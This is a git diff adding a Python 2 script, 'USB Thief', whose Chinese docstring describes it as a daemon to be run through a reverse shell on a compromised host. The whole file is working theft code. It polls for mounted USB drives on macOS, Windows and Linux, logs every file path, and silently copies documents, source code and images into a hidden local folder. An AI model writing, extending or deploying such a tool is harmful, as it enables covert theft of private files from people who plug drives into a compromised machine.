diff --git a/usbthief.py b/usbthief.py
new file mode 100644
index 0000000..5d85fef
--- /dev/null
+++ b/usbthief.py
@@ -0,0 +1,120 @@
+#!/usr/bin/python
+# -*- coding: utf-8 -*-
+"""
+用于监听并复制U盘内容的 daemon
+通常是 reverse shell 到 host 上使用
+Usage:
+Python usbthief.py &
+"""
+import os
+import sys
+import time
+import shutil
+import string
+
+
+def banner():
+    print """
+        +----------------------------------------+
+        +               USB Thief                         +
+        +                           by thehackercat                     +
+        +----------------------------------------+
+        =========================================="""
+
+
+if sys.platform.lower() == "darwin":
+    print 'MacOS system env detected'
+    USB = '/Volumes/'
+if sys.platform.lower() == "win32":
+    print 'Windows system env detected'
+    USB = 'G:\\' 
+if sys.platform.lower() == "linux2":
+    print 'Linux system env detected'
+    USB = '/mnt/usb/'
+
+current_path = os.getcwd()
+save_path = current_path+"/copy/"
+if not os.path.exists(save_path):
+    try:
+        os.mkdir(save_path)
+    except:
+        print 'Failed to create copied files dir'
+
+SAVE = save_path  # copied file path
+OLD = []
+# file types to copy
+word = "txt,doc,ppt,py,java,cpp,html,js,css,json,md,xls,pdf," \
+       "ms10,pdf,jpg,jpeg,png,gif,TXT,DOC,PPT,PY,JAVA,CPP,HTML," \
+       "JS,CSS,MD,XLS,PDF,MS10,PDF,JPG,JPEG,PNG,GIF".split(",")[:-1]
+
+
+# is_need_copy checker
+def value(file):
+    if not os.path.isfile(file):
+        return False
+    for i in word:
+        if string.find(file, i) > -1:
+            return True
+    return False
+
+
+# Copy files suffix with timestamp
+def copyfile(file, filename):
+    print SAVE+time.strftime("%m%d%H%M", time.localtime(time.time()))+filename
+    shutil.copy(file, SAVE+time.strftime("%m%d%H%M", time.localtime(time.time()))+"#"+filename)
+
+
+# Walk USB and copy files
+def usb_walker():
+    if not os.path.exists(SAVE):
+        os.mkdir(SAVE)
+    print "Start walking USB files"
+    f = open(SAVE+time.strftime("%m%d%H%M", time.localtime(time.time()))+".txt", "w")
+    for root, dirs, files in os.walk(USB):
+        for file in files:
+            export = os.path.join(root, file)
+            f.writelines(export+'\n')
+            try:
+                if value(export):
+                    print "Coping current file #" + export
+                    copyfile(export,file)
+            except:
+                 print("File has been ignored")
+    f.close()
+    print "Done coping files"
+
+
+# diff usb content by length
+def getusb():
+    global OLD
+    NEW = os.listdir(USB)
+    if len(NEW) == len(OLD):
+        print "No content changes"
+        return False
+    else:
+        OLD = NEW
+        return True
+
+
+def theif_loop():
+    banner()
+    sleep_time = 60  # loop interval
+    while (True):
+        if os.path.exists(USB):
+            print "USB device detected"
+            if getusb():
+                try:
+                    usb_walker()
+                except Exception, e:
+                    print "Unknown error"
+                    print(str(e))
+        else:
+            print "No USB device detected"
+        print "Start sleeping..."
+        print "Sleep time: {sleep_time}s".format(sleep_time=sleep_time)
+        time.sleep(sleep_time)  # Sleep for a while
+        print "End sleeping, next try..."
+
+
+if __name__ == "__main__":
+    theif_loop()
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